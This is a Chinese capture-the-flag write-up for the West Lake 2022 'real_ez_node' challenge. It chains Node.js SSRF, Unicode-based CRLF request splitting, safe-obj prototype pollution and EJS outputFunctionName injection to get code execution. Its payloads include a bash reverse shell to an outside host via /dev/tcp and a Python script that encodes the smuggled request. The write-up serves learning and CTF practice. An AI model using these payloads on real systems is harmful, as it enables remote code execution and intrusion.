[西湖论剑 2022]real_ez_node
文章目录
- 前置知识
- EJS模板注入(CVE-2022-29078)
- 原型链污染漏洞 (CVE-2021-25928)
- HTTP响应拆分攻击(CRLF)
- 解题过程
- 代码审计
- 构造payload
前置知识
EJS模板注入(CVE-2022-29078)
EJS库中有一个渲染函数非常特别
数据和选项通过这个函数合并在一起utils.shallowCopyFromList,所以理论上我们可以用数据覆盖模板选项
exports.render = function (template, d, o) {var data = d || {};var opts = o || {};// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};
但是继续发现它仅复制位于定义的传递列表中的数据
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
不过在 renderFile 函数里找到了RCE漏洞
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}
在 Express ejs 的情况下,它view options会将所有内容无限制地复制到选项中,现在我们需要的只是找到模板主体中包含的选项而不转义
prepended +=' var __output = "";\n' +' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
因此,如果我们在选项中注入代码,outputFunctionName它将包含在源代码中。
有效负载是这样的x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
一般原型链污染构造payload如下
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc');//"}}
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2"}}
原型链污染漏洞 (CVE-2021-25928)
漏洞poc如下
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
expand函数定义如下
该函数有三个参数obj、path、thing
当我们调用该函数时,执行过程如下
obj={},path="__proto__.polluted",thing="Yes! Its Polluted"
当执行完path.split('.')时,path被分成两部分,props数组如下
props=(2){"__proto__","polluted"}
由于length长度为2,进入else语句,执行完shift()后
prop="__proto__",props="polluted"
下面再次调用expand函数的时候就相当于调用
expand(obj[__proto__],"polluted","Yes! Its Polluted")
然后再次递归,此时length为1
props=["polluted"]
if语句为True,执行obj[props.shift()]=thing
相当于执行 obj[proto][“polluted”]=“Yes! Its Polluted”,造成原型链污染
HTTP响应拆分攻击(CRLF)
在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,(Node.js10中被修复),当 Node.js 使用 http.get (关键函数)向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。
补充说明:CRLF指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)
由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用
var http = require("http")
http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
结果如下,我们可以发现并没有实现换行
GET /%0D%0A/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close
但是如果包含一些高编号的Unicode字符
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符
var http = require("http")
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
结果为[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,\u{010D}\u{010A}将分别被截断为 “\r”(%0d)和 “\n”(%0a)
GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close
可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:

构造脚本如下
payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
解题过程
代码审计
app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;
可以发现使用的是ejs模板引擎,我们再查看下版本
打开package.json,版本是3.0.1,可以原型链污染RCE

index.js
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应,但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;
分析:
/copy路由下,首先检查ip地址是否为127.0.0.1,然后过滤了__proto__关键字(我们可以constructor.prototype代替),接着出现能造成原型链污染的函数safeobj.expand()/curl路由下的存在ssrf利用点
思路是通过/curl路由利用CRLF以本地(127.0.0.1)身份向/copy发送POST请求,然后打ejs污染原型链 实现代码执行
构造payload
我们先构造原型链污染payload
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"}
}
但是__proto__被过滤了,修改一下
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
这里为什么要改为constructor.prototype.outputFunctionName,可以在前置知识那了解expand函数的执行过程
然后就是修改CRLF注入脚本
payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
我的长度为191,这个可以自己bp发包看看

不过NSS的这道题不能反弹shell
相关文章:
[西湖论剑 2022]real_ez_node
文章目录 前置知识EJS模板注入(CVE-2022-29078)原型链污染漏洞 (CVE-2021-25928)HTTP响应拆分攻击(CRLF) 解题过程代码审计构造payload 前置知识 EJS模板注入(CVE-2022-29078) EJS…...
如何正确使用GPT工具
引言 在快速发展的数字时代,人工智能(AI)已成为科研领域的一个不可或缺的工具。特别是像ChatGPT这样的AI聊天机器人,它通过高效的语言模型和深度学习算法,为科研工作者提供了前所未有的辅助。从文献搜索到数据分析&…...
Kotlin Multiplatform稳定版本发布:加速跨平台开发的新里程碑
Kotlin Multiplatform稳定版本发布:加速跨平台开发的新里程碑 引言 在最新的消息中,JetBrains团队宣布Kotlin Multiplatform(KMP)将于2023年10月稳定发布。这一消息对于广大开发者来说毫无疑问是一个令人振奋的消息。KMP的正式生…...
Paas-云管理
云管理平台(Cloud Management Platform,CMP)是由Gartner最先提出的企业云战略中的一种产品形态。Gartner对云管理平台(CMP)的定义是一种管理公有云、私有云和混合云环境的整合性产品。 什么是云管理平台 云管理平台&a…...
http-server安装使用
前段时间给电脑重装了系统,很多东西都没了,今天想在浏览器打开一个本地的html文件,发现电脑上没有http-server,于是装了一个,并且记录下安装过程 1、安装 nodejs,但如果你电脑上有,就无需下载 …...
【CSDN 每日一练 ★☆☆】【位运算】只出现一次的数字
【CSDN 每日一练 ★☆☆】【位运算】只出现一次的数字 题目 给定一个非空整数数组,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。 说明: 你的算法应该具有线性时间复杂度。 你可以不使用额外空间来实…...
Spring的注入
目录 一、Spring的概念 二、各种数据类型的注入 (1)studentService (2)applicationContext.xml(Sring核心配置文件) (3)测试 三、注入null或者empty类型的数据 (1…...
Linux-Docker的基础命令和部署code-server
1.安装docker 1.安装需要的安装包 yum install -y yum-utils2.设置镜像仓库 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo3.安装docker yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin do…...
微信小程序授权登陆 getUserProfile
目录 前言 步骤: 示例代码: 获取用户信息的接口变化历史: 注意事项: 前言 在微信小程序中,你可以使用 getUserProfile 接口来获取用户的个人信息,并进行授权登录。以下是使用 getUserProfile 的步骤: 小程序发了…...
深度学习AI识别人脸年龄
以下链接来自 落痕的寒假 GitHub - luohenyueji/OpenCV-Practical-Exercise: OpenCV practical exercise GitHub - luohenyueji/OpenCV-Practical-Exercise: OpenCV practical exercise import cv2 as cv import time import argparsedef getFaceBox(net, frame, conf_thresh…...
兔队线段树维护后缀非严格递增子序列的哈希值:CCPC2023深圳K
https://vjudge.net/contest/594134#problem/K 场上想到如果两个序列的后缀非严格递增子序列相同则平局,但不知道怎么维护 发现不用输出谁赢,只用判断是否平局,所以肯定是判断两个东西是否相等 然后如果单纯维护后缀非严格递增子序列&#…...
Django框架FAQ
文章目录 问题1:Django数据库恢复问题2:null和blank的区别3.报错 django.db.utils.IntegrityError: (1062, “Duplicate entry ‘‘ for key ‘mobile‘“)4.报错 Refused to display ‘url‘ in a frame because it set ‘X-Frame-Options‘ to deny5.报错 RuntimeError: cryp…...
chinese-hanfu-sd1.5-v30 训练日记
chinese-hanfu-sd1.5-v30 训练日记 训练数据: found directory /dataset/train_dataset2/chinese-hanfu-sd1-v30/img/10_ohxm woman contains 2465 image files found directory /dataset/train_dataset2/chinese-hanfu-sd1-v30/img/10_khs woman contains 8220 im…...
【Redis系列】Redis的核心命令(上)
哈喽,大家好,我是小浪。那么上篇博客教会了大家如何在Linux上安装Redis,那么本篇博客就要正式开始学习Redis啦,跟着俺的随笔往下看~ 1、启动Redis 那么如何启动Redis呢?最常用的是以下这个命令: redis-cl…...
鸿蒙 API9 接入 Crypto库
鸿蒙 API9 接入 Crypto库 开发环境 API9。 参考文档 之前研究了半天鸿蒙自身支持的算法库,只能说集成起来还是比较麻烦的,不如开箱即用的npm crypto好用。不过之前也没想到三方库会这么快的适配鸿蒙,毕竟小程序都多少年了,各种…...
Halcon WPF 开发学习笔记(2):Halcon导出c#脚本和WPF初步开发
文章目录 前言HalconC#教学简单说明如何二开机器视觉如何二次开发Halcon导出Halcon脚本新建WPF项目,导入Halcon脚本和Halcon命名空间 前言 我目前搜了一下我了解的机器视觉软件,有如下特点 优点缺点兼容性教学视频(B站前三播放量)OpenCV开源࿰…...
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端
红队专题 招募六边形战士队员[16]超级终端(1) 招募六边形战士队员 一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系 [16]超级终端(1) 服务端 — 本地打开cmd — 接收命令 — 执行 — 发送回显 客户端 — 远端发送命令 — 接收回显 发送开启cmd命令 --- 接受…...
ROS机器人毕业论文数量井喷-数据日期23年11月13日
背景 ROS机器人论文数量在近3年井喷发展,仅硕士论文知网数据库可查阅就已经达到2264篇,实际相关从业者远远远大于这个数值。 按日期排序,每页20篇,23年还未结束,检索本身也不一定完备,就超过200。 相关从业…...
BIO、NIO、AIO之间有什么区别
文章目录 BIO优缺点示例代码 NIO优缺点示例代码 AIO优缺点示例代码 总结 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。 BIO、NIO和AIO是Java编程语言中用于处理输入输出(IO…...
强烈建议linux中nvidia 545.29驱动不要升
我之前一直用终端连接我的工作站(系统是arch rolling状态),结果昨天回家难得想试试545驱动下的效果。结果一用chrome播放视频就卡,甚至后面进Login界面也会卡住鼠标。 折腾了一晚上用 $sudo downgrade nvidia nvidia-prime nvid…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...
云原生安全实战:API网关Kong的鉴权与限流详解
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关(API Gateway) API网关是微服务架构中的核心组件,负责统一管理所有API的流量入口。它像一座…...
Vue 模板语句的数据来源
🧩 Vue 模板语句的数据来源:全方位解析 Vue 模板(<template> 部分)中的表达式、指令绑定(如 v-bind, v-on)和插值({{ }})都在一个特定的作用域内求值。这个作用域由当前 组件…...
iOS 项目怎么构建稳定性保障机制?一次系统性防错经验分享(含 KeyMob 工具应用)
崩溃、内存飙升、后台任务未释放、页面卡顿、日志丢失——稳定性问题,不一定会立刻崩,但一旦积累,就是“上线后救不回来的代价”。 稳定性保障不是某个工具的功能,而是一套贯穿开发、测试、上线全流程的“观测分析防范”机制。 …...
第14节 Node.js 全局对象
JavaScript 中有一个特殊的对象,称为全局对象(Global Object),它及其所有属性都可以在程序的任何地方访问,即全局变量。 在浏览器 JavaScript 中,通常 window 是全局对象, 而 Node.js 中的全局…...
npm install 相关命令
npm install 相关命令 基本安装命令 # 安装 package.json 中列出的所有依赖 npm install npm i # 简写形式# 安装特定包 npm install <package-name># 安装特定版本 npm install <package-name><version>依赖类型选项 # 安装为生产依赖(默认&…...
docker容器互联
1.docker可以通过网路访问 2.docker允许映射容器内应用的服务端口到本地宿主主机 3.互联机制实现多个容器间通过容器名来快速访问 一 、端口映射实现容器访问 1.从外部访问容器应用 我们先把之前的删掉吧(如果不删的话,容器就提不起来,因…...
